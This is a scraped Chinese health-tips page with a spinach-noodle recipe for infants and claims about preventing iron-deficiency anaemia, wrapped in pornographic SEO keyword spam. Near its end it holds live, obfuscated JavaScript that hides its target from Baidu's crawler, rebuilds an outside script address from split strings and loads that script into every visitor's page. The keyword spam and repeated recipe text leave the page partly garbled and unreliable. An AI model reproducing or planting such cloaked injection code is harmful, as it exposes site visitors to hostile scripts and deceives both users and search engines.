久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養 > 正文

菠菜面怎么吃比較營養健康

2017-07-07 12:14:44  來源:360常識網   熱度:
導語:菠菜是我們飯桌上,很容易接觸到的蔬菜,因為它可以很好的幫助我們,補充身體所需要的營養,尤其是對于缺鐵性貧血的人來說,應該多吃菠菜,

菠菜是我們飯桌上,很容易接觸到的蔬菜,因為它可以很好的幫助我們,補充身體所需要的營養,尤其是對于缺鐵性貧血的人來說,應該多吃菠菜,而且菠菜也可以和很多的食物相互搭配,菠菜面就是其中的一種,那么,在要為大家具體介紹一下,菠菜面應該怎么制作。

菠菜面 原料】 菠菜20克,菠菜烏冬面100克,粟米蓉10克,鹽少許。

【做法】 菠菜面 嬰幼兒患營養缺乏病,與其在1歲內生長速度快有關,其缺乏營養也是多方面的。菠菜含磷質、鐵質,有助于嬰幼兒身體新陳代謝及促進脂肪、蛋白質與碳水化合物的吸收,是組織骨骼、牙齒的主要元素,也是構成紅血球中之血色素的成分。

所以,此菜對消除兒童營養不良效果顯著。此菜適合9-12個月嬰兒和較大的幼兒食用。 原料 菠菜20克,菠菜烏冬面100克,粟米蓉10克,鹽少許。 制作 1、菠菜洗凈清,入開水燙軟,撈起,切成菠菜蓉。 2、粟米用水洗凈,泡軟,磨成泥狀。 3、菠菜面出水后,放人湯內,煮約5分鐘,加人菠菜蓉、粟米蓉再煮至滾,加鹽即成。 特點 軟爛,有菜香味。

【特色】 軟爛,有菜香味。

上面就是菠菜面的制作方法,這一道食物對于嬰幼兒來講,也是非常好的,因為對幫助嬰幼兒解決和預防缺鐵性貧血,補充各種微量元素都有很好的效果,還能夠促進它們的新陳代謝,作為輔食的一種也非常好。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 97av视频| 精品欧美一区二区三区精品久久 | 一区二区福利 | 国产免费av在线 | 国产精品久久久久影院色老大 | 成人久久免费 | 欧美国产精品 | 国产激情久久久久影院小草 | 欧美一区2区三区4区公司二百 | 日本电影www | 一区二区精品在线观看 | 久久国产精品99久久久久久老狼 | 国产成人精品一区二区三区 | 国产一区二区三区在线 | 亚洲一区免费视频 | 国产在线精品一区二区 | 欧美色视频在线观看 | 裸体的日本在线观看 | 免费毛片网站 | 午夜精品成人一区二区 | 亚洲综合精品在线 | 亚洲自拍av在线 | 国产成人精品999在线观看 | 欧美日韩精品 | 成人黄色免费网址 | 另类五月天 | 成人久久久久久久 | 亚洲第一免费网站 | 日本小视频网站 | 国产精品99久久免费观看 | 国产一区二区三区久久 | 娇小12一13sexvideo | 日本99精品 | 精品国产91亚洲一区二区三区www | 精品一区二区免费视频 | 免费黄色在线 | 青青草视频免费观看 | 国产伦精品一区二区三区视频网站 | 免费观看一级特黄欧美大片 | 99精品欧美一区二区三区综合在线 | 国产成人午夜精品5599 |